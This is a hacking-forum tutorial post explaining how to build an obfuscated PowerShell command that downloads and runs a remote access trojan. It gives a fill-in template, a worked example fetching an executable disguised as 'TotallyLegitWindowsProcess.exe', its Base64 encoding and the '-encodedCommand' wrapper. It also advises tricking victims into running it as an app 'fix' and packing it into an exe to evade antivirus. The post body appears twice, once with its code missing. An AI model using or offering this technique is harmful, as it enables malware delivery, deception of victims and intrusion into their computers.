Jun 2, 2020 07:40 PM
(This post was last modified: Jun 3, 2020 09:50 AM by TheBrokenWasp.)
Hello HF, I have decided to post a quick tutorial here. I will share a simple thing you can do to create a CMD command that will download and execute your RAT, and this can be used for very specific spreading methods and AV evasion tactics.
Step one would be to upload your exe to a hos that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section.
After this, decide on a file output name. Usually, this can be almost anything.
Next, you will take the following command and replace the variables:
and an example would be this:
Now, encode this using Base64 (Hackforums has a handy tool for this here.) My example command would then look like this:
Now, just slap this prefix onto it:
with my example, it would become this:
And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certain error some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!
Using the social engineering aspect, that would mean people don't have to download anything which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.
If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond.
Step one would be to upload your exe to a hos that provides direct file links. This is surprisingly hard to find for some reason, so I suggest uploading to random hosts that won't ban you, then downloading your own file using Chrome. What you can do then is go to your downloads and see the file you downloaded, and almost always a direct link (or a direct link with GET headers after it that look something like this: ?variable=...) to it in the same section.
After this, decide on a file output name. Usually, this can be almost anything.
Next, you will take the following command and replace the variables:
Code
Invoke-WebRequest -Uri [Direct Link to Stub Here] -OutFile [Output File Name Here]; .\[Output File Name Here Again]; exitand an example would be this:
Code
Invoke-WebRequest -Uri some.com/random/file.exe -OutFile TotallyLegitWindowsProcess.exe; .\TotallyLegitWindowsProcess.exe; exitNow, encode this using Base64 (Hackforums has a handy tool for this here.) My example command would then look like this:
Quote:SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA==
Now, just slap this prefix onto it:
Code
powershell -encodedCommandwith my example, it would become this:
Code
powershell -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBzb21lLmNvbS9yYW5kb20vZmlsZS5leGUgLU91dEZpbGUgVG90YWxseUxlZ2l0V2luZG93c1Byb2Nlc3MuZXhlOyAuXFRvdGFsbHlMZWdpdFdpbmRvd3NQcm9jZXNzLmV4ZTsgZXhpdA==And you're done! This can now be executed as a CMD command, PowerShell command, batch file, or PowerShell file. Some things you could do with it include social engineering and telling people that it will fix a certain error some app has, or put it into a batch file which you then convert to an exe, effectively making a personal downloader to evade AV!
Using the social engineering aspect, that would mean people don't have to download anything which would maybe decrease suspicion of some. Though I would keep in mind that base64 is just as easily decrypted as it is encrypted, so anybody with minimal computer knowledge could find you out if you go this route.
If you have any problems, questions, or comments, feel free to tell/ask me and I will try to respond.


![[Image: 6xBycLk.gif]](https://i.imgur.com/6xBycLk.gif)

![[Image: 01aPMYi.gif]](https://i.imgur.com/01aPMYi.gif)
